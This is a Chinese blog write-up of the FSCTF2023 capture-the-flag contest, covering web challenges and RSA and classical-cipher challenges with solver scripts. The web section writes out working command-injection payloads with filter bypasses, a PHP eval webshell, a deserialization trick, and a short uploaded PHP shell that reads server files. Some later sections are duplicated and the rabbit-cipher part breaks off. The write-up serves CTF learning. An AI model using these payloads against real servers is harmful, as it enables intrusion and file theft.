FSCTF2023 wp

最新推荐文章于 2024-05-30 18:05:01 发布

Day-Bleeds

最新推荐文章于 2024-05-30 18:05:01 发布

阅读量1k

点赞数 20

文章标签：网络安全 python 密码学学习

本文链接：https://blog.csdn.net/weixin_74737443/article/details/134701271

版权

emmm，没时间打，赛后自己做了一部分，跟wp复现了一部分

web- 源码！启动

很简单，虽然F12和右键被禁用，连续按两次F12即可

web-webshell是啥捏

根据表情对应的字母，翻译出

if (isset($_GET['👽'])) {
    eval(passmhru($_GET['👽']));
};

passmhru函数也类似system函数
passthru与system的区别，passthru直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，不返回任何值，且其可以输出二进制，比如图像数据
差不多同样的用法，直接

/?👽=ls 
ls /
cat /flag.txt

web-hello，you

简单命令注入，用分号隔断命令

1;ls
1;ca\t f*

web-细狗2.0

空格绕过、无字母、无回显rce

?hongzh0=1;ca\t$IFS$1/*

web-ez_php1

1.md5绕过，读文件
2.序列化
3.反序列化

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?>

这里利用php引用，使得a=b

<?php
class Clazz
{
    public $a;
    public $b;

}
$q = new Clazz();
$q->a=&$q->b;
echo serialize($q);
?>

web-巴巴托斯

1.改UA头
2.改referer(根据local man 推断且经过尝试)为本地
3.文件包含，php伪协议

web-EZ_eval

<?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

?>闭合，此时我们需输入<?php,可见？被过滤，我们借助<script>标签

<script%0alanguage='php'>system('ca\t$IFS$9/*');</script>

web-是兄弟就来传你马

对文件内容长度进行了限制(长度15)，以及限定文件格式
F12重发包，修改Content-Type:image/jpeg
上传文件xxx.pht，最短命令执行

BM<?=`cat /*`;

url/uploads/xxx(重发)

crypto-RSA 1

p=1458769258361
q=4556983871563
e=17
直接求逆元
d=gmpy2.invert(e,(p-1)*(q-1))

crypto-做不出来就别阴阳怪气啦

不 会 吧 ？ 不 会 吧 ？ 不 会 吧 ？ 不 会 吧 ？ 就 这 ¿ 不 会 吧 ？

直接阴阳怪气解码
https://mmdjiji.gitee.io/yygq.js/

crypto-RSA 2

c=90362297576572826064831133206230135349790392078780406000643496612200873754835039374184323808342127071833274981191134125413478105835272238356352724573228797863805124195170088819735610736936895478614898105848968069280022022112207095140266709372221090586917729998024205978412679448008696923580889787529663283314
p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 
q=11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e=65537

from Crypto.Util.number import *
import gmpy2
n = p*q
d = inverse(e,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))

crypto-RSA 3

dp泄露

from Crypto.Util.number import *
import gmpy2
n = 
e = 
c = 
dp = 
for i in range(1,e):
    if (dp*e-1)%i == 0:
        if (n%((dp*e-1)//i+1)) == 0:
            p = (dp*e-1)//i+1
            q = n // p#注意都是整除
            phi_n = (p-1)*(q-1)
            d = gmpy2.invert(e,phi_n)
            m = pow(c,d,n)
print(long_to_bytes(m))

crypto-Do you know gcd?

共享素数

from Crypto.Util.number import *
import gmpy2

n1= 18680935400842120133090782991548100098299141114788036098274292600814484762178879421175852824971602717084073867867453382415307589970440719890918576225495401632854107018246844209327118177917122236073227158593514362850629722223228335334773008682775987859295083444638923726449899310854161394586430943134469559429878238769266114132469166535509030877235272476877484918308883799496627699789051809542538091061550107526246728583019140703765888157806778516567048103700384849598143249322109207879381251223776896702362630437178664824125387477797876186939235800859102380783259361745143574493440078787931593394188675093506492640857
n2= 16308523133405725830120564525574438512803584148781960516042054284309437381876822602134185065101371986717984978566359252072738078020261823966208153922611063201149105749778596739692554295573408850719208215646167050188830459343054219856901871953140988948482577813730729085764541988120049026971705499798003225755018687242522370406495429425494022876627543617474873929054728724093702291448754458748923218635900061398716191201846139296921753782690468189409101899415028480878296408735247604084627019116374444335509072590669239349212479592499426230525792270750612371117196200786891891430446212938482959351978202358044864822577
c1= 534518909595318304521410713148076850830155521838755402438490325620155197496935820831936109252194297244161393310730073882257949954815312409974998733265641354273665213856408848764503848122264972023143474923678585167025591255034150826271791019266426616987355463111138963331008761826310757292765842789380409826387579098421126952331558360737102888876551724241978020305977032047901621477384392409864427091911872691182528938458750707982564581322551517287491916691010743390992018974168703956622998928457142606354825714033609199676987795174032254878017883605565760275857658822315970522114838062469258676628619381342357632179
c2= 10248394002302905069278122013496854496130190499518622376819239887579692634750808499513497018453473232140518824608976734237637842228035017757831938865937098325684711995382081489403971465596662585196007547659143066184546400992333479193424580690897692586491475768279754939199148642035267049092880715299621206567123356521609120801306358100326600900326310677054810032471472266402660807205675696110133573150125117412696328434523507708110949743705536889950671778501402435457354251761692098671783596194430798692942013503015764266392551048702428063161786512924608239609802040937400619384828550050291094616346317726139970219621
p = 161792852262585784240210614943673858364435848078458892793835734301847476262357245115185358270538726363219476877287799286220761527702213530458749144905775453645889968558781952949356764633708703117094081955706055636505638238383861546133003679992033912148071189936673239027096959214554654922959747089484789298237
q1 = n1//p
q2 = n2//p
e = 65537
d1=inverse(e,(p-1)*(q1-1))
d2=inverse(e,(p-1)*(q2-1))
print(long_to_bytes(pow(c1,d1,n1))+long_to_bytes(pow(c2,d2,n2)))

crypto-Big_e

Wiener攻击

from Crypto.Util.number import *
from gmpy2 import *

class ContinuedFraction():
    def __init__(self,numerator,denumerator):
        self.numberlist = []
        self.fractionlist = []
        self.GenerateNumberList(numerator,denumerator)
        self.GenerateFractionList()
    def GenerateNumberList(self,numerator,denumerator):
        while numerator != 1:
            quotient = numerator//denumerator
            remainder = numerator%denumerator
            self.numberlist.append(quotient)
            numerator = denumerator
            denumerator = remainder
    def GenerateFractionList(self):
        self.fractionlist.append([self.numberlist[0],1])
        for i in range(1,len(self.numberlist)):
            numerator = self.numberlist[i]
            denumerator = 1
            for j in range(i):
                temp = numerator
                numerator = denumerator+numerator*self.numberlist[i-j-1]
                denumerator = temp
            self.fractionlist.append([numerator,denumerator])
            
n = 12238605063252292170613110607692779326628090745751955692266649177882959231822580682548279800443278979485092243645806337103841086023159482786712759291169541633901936290854044069486201989034158882661270017305064348254800318759062921744741432214818915527537124001063995865927527037625277330117588414586505635959411443039463168463608235165929831344586283875119363703480280602514451713723663297066810128769907278246434745483846869482536367912810637275405943566734099622063142293421936734750356828712268385319217225803602442033960930413469179550331907541244416573641309943913383658451409219852933526106735587605884499707827
e = 11850552481503020257392808424743510851763548184936536180317707155841959788151862976445957810691568475609821000653594584717037528429828330763571556164988619635320288125983463358648887090031957900011546300841211712664477474767941406651977784177969001025954167441377912326806132232375497798238928464025466905201977180541053129691501120197010080001677260814313906843670652972019631997467352264392296894192998971542816081534808106792758008676039929763345402657578681818891775091140555977382868531202964486261123748663752490909455324860302967636149379567988941803701512680099398021640317868259975961261408500449965277690517
c = 4218884541887711839568615416673923480889604461874475071333225389075770098726337046768413570546617180777109293884545400260353306419150066928226964662256930702466709992997796154415790565112167663547017839870351167884417142819504498662037048412313768450136617389372395690363188005647619061128497371121168347810294424378348301835826084732747005110258557662466626720961279087145559906371505117097599774430970980355531235913439823966628008554872896820907555353892843539526041019103819804854883231421963308265517622470779089941078841902464033685762524196275032288319744157255628189204988632871276637699312750636348750883054
a = ContinuedFraction(e,n)
for k,d in a.fractionlist:
    s = long_to_bytes(pow(c,d,n))
    try:
        print(s.decode())
    except Exception:
        pass

crypto-RSA签到

看上去很复杂，根据c的位数以及flag的位数，e=3,小明文攻击，我们直接对c开3次方即可，一开始还真没看出来，傻傻的在想。。。。

from Crypto.Util.number import *
from gmpy2 import *

c = 42336544435252811021843650684098817755849747192874682997240960601474927692351510022965782272751339319782351146077580929125
print(long_to_bytes(gmpy2.iroot(c,3)[0]))

crypto-ezRSA(涨见识了)

def keygen(nbit = 64):
 while True:
  k = getRandomNBitInteger(nbit)
  p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
  q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011
  if isPrime(p) and isPrime(q):
   return p, q

polyRSA——解单变量多项式方程

#sage
n = 1901485114700245088118015176838411045645808657633721129158322425051110390237801115516544893309422501851747092251796770953642000579931231478667887589988786560834446696408732292786254192492281586457284980263740183
k = var('k')
p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011
polys = (p * q == n)
print(solve(polys, k))

import gmpy2
from Crypto.Util.number import *
n = 1901485114700245088118015176838411045645808657633721129158322425051110390237801115516544893309422501851747092251796770953642000579931231478667887589988786560834446696408732292786254192492281586457284980263740183
enc = 1199361436656854951826843585559905358018072076349745598865984504434921942249797269971584270541920348511243191511578321283455075109027873358983934024677982086699270397304699932717071144314481599892879445599516848
k = 13070168166947995246
p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011
d = inverse(31337, (p-1)*(q-1))
print(long_to_bytes((pow(enc, d, n))))

crypto-埃塞克的秘密

埃塞克，即ASCII，此处的ROT，我们试出是ROT47

crypto-babyhint

hint1=pow(2023*p+2022*q,1919,n)
hint2=pow(2022*p+2023*q,9191,n)

关键在于怎么利用它来求出pq
这两个式子有一定的对称性，1919跟9191又有一定的关联
对两个式子进行运算操作，最终得出pq
多利用n=p*q,指数运算等

import gmpy2
from Crypto.Util.number import *

h1= 83535799515204730191288403119559179388147974968301357768644756769205396635068662150926873512812305514469213626273460486537390422570056287512841114712846420160416446291128064734960979586229744062965998582728378025151822479630618024804808407804317029367335421715125562402059266983021662398390585435529976586654
h2= 14402204438484882372730843813561914135941866642278909172674395293274736617425618184831446215507756031454895377588951726822765439585979555636320832177929472057402274116190878688601329765374509467243968967279090492272317903230101551317377700802837187081510381677262879617929177970455244249498674083943925477229
n= 94120719816617297967197808458007462810449143149204454740678593087096770130918870563878599847276923902207042790106345400843990455347835029220453217996810995363105274873857381469314548191574754245357568090646094043040797653858225598519876785530143007788084656262253002478643994943076851585839631209338814367691
c= 84244594789418833202484965138308516535996015903654462304986953156471594657993252593373963514364258027091543394305491354187806441313428473670956684437253991594327692679733432489342255718685303997647293213324463025120804679847465190496542879161344985402542539184706559207299026102682674060562738496314731555616
e = 65537
k = 19 * 101 * 91
h5 = pow(h1,91,n)*pow(2022,k,n)-pow(h2,19,n)*pow(2023,k,n)
h6 = pow(h1,91,n)*pow(2023,k,n)-pow(h2,19,n)*pow(2022,k,n)
k1 = inverse(pow(2022,2*k,n)-pow(2023,2*k,n), n)
k2 = inverse(pow(2023,2*k,n)-pow(2022,2*k,n), n)
h3 = h5 * k1 % n
h4 = h6 * k2 % n
q = gmpy2.gcd(h3, n)
p = gmpy2.gcd(h4, n)
phi = (p-1) * (q-1)
d = inverse(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))

crypto-ezmath

hint = pow(2022 * p + 2023, q, n)

p = gmpy2.gcd(n,hint-pow(2023,n,n))

$2022p+2023)^{q}=kn+h$
$两边同时模p,(二项式定理)得到：h\equiv2023^{q}mod\ p$
$2023^{n}=2023^{pq}\equiv2023^{q}mod\ p$
$kp=h-2023^{n}mod\ n$
$p = g c d (n, k p)$

类似题目还有
$h1=(2020p1+q1)^{202020}mod\ n1$
$h2=(2021p1+212121)^{q1}mod\ n1$

$h1*2021^{202020}=(2020p1+q1)^{202020}*2021^{202020}\equiv(2020*2021*p1)^{202020}mod\ q1(二项式定理展开)$
$(2020*(h2-212121))^{202020}\equiv(2020*2021*p1)^{202020}mod\ q1(二项式展开，同时模q1即可)$

q1 = gcd(n1,(h1*pow(2021,202020,n1))%n1-(pow(2020*(h2-212121),202020,n1))%n1)

$h3=(2020p2+2021q2)^{202020}mod\ n2$
$h4=(2021p2+2020q2)^{212121}mod\ n2$
以下思路与上一题一致
$g c d (202020, 212121) = 10101$
$k = 10101 * 20 * 21$
$h3^{21}*2020^{k}\equiv(2020*2021*q2+2020^{2}*p2)^{k}mod\ n2$
$h4^{22}*2021^{k}\equiv(2020*2021*q2+2021^{2}*p2)^{k}mod\ n2$
$p2^{k}\equiv(h3^{21}*2020^{k}-h4^{20}*2021^{k})(2020^{2}-2021^{2})^{-1}mod\ n2$
$同理可得 q 2, 原理不是很懂，为什么两式可以这样相减呢$

a1 = pow(h3,21,n2)*pow(2020,k,n2)-pow(h4,20,n2)*pow(2021,k,n2)
a2 = pow(h3,20,n2)*pow(2021,k,n2)-pow(h4,21,n2)*pow(2020,k,n2)
k1 = inverse(pow(2020,2*k,n2)-pow(2021,2*k,n2), n2)
k2 = inverse(pow(2021,2*k,n2)-pow(2020,2*k,n2), n2)
p2k = a1 * k1 % n2
q2k = a2 * k2 % n2
p = gmpy2.gcd(p2k, n2)
q = gmpy2.gcd(q2k, n2)

crypto-关键的Vigenere

FNY CQ HLQSEPNVJ
提示：Keyword

很明显，关键字密码
那么秘钥只能是Vigenere了
得出Vigenere的秘钥是，LOSTDREAM
再Vigenere-decode

crypto-兔帽的奇妙冒险

base64解码得到，8TwsNQLAJ3d7BLjDiSmkaXLqIxkdZ7INCUdd95ECbTHMUqzQBOasxj34kltI0=
这里考察到了兔子流密码的认识，它类似于base64编码的组成，可能以=结尾，最大的特征为，以U2FsdGVkX1开头！！！
所以补充缺少头：U2FsdGVkX18TwsNQLAJ3d7BLjDiSmkaXLqIxkdZ7INCUdd95ECbTHMUqzQBOasxj34kltI0=

FNY CQ HLQSEPNVJ
提示：Keyword

很明显，关键字密码
那么秘钥只能是Vigenere了
得出Vigenere的秘钥是，LOSTDREAM
再Vigenere-decode

crypto-兔帽的奇妙冒险

Day-Bleeds

关注

20
点赞
踩
17

收藏

觉得还不错? 一键收藏
打赏
0
评论
FSCTF2023 wp

看上去很复杂，根据c的位数以及flag的位数，e=3,小明文攻击，我们直接对c开3次方即可，一开始还真没看出来，傻傻的在想。这里考察到了兔子流密码的认识，它类似于base64编码的组成，可能以=结尾，最大的特征为，以U2FsdGVkX1开头！这里考察到了兔子流密码的认识，它类似于base64编码的组成，可能以=结尾，最大的特征为，以U2FsdGVkX1开头！>闭合，此时我们需输入<?emmm，没时间打，赛后自己做了一部分，跟wp复现了一部分。埃塞克，即ASCII，此处的ROT，我们试出是ROT47。
复制链接

扫一扫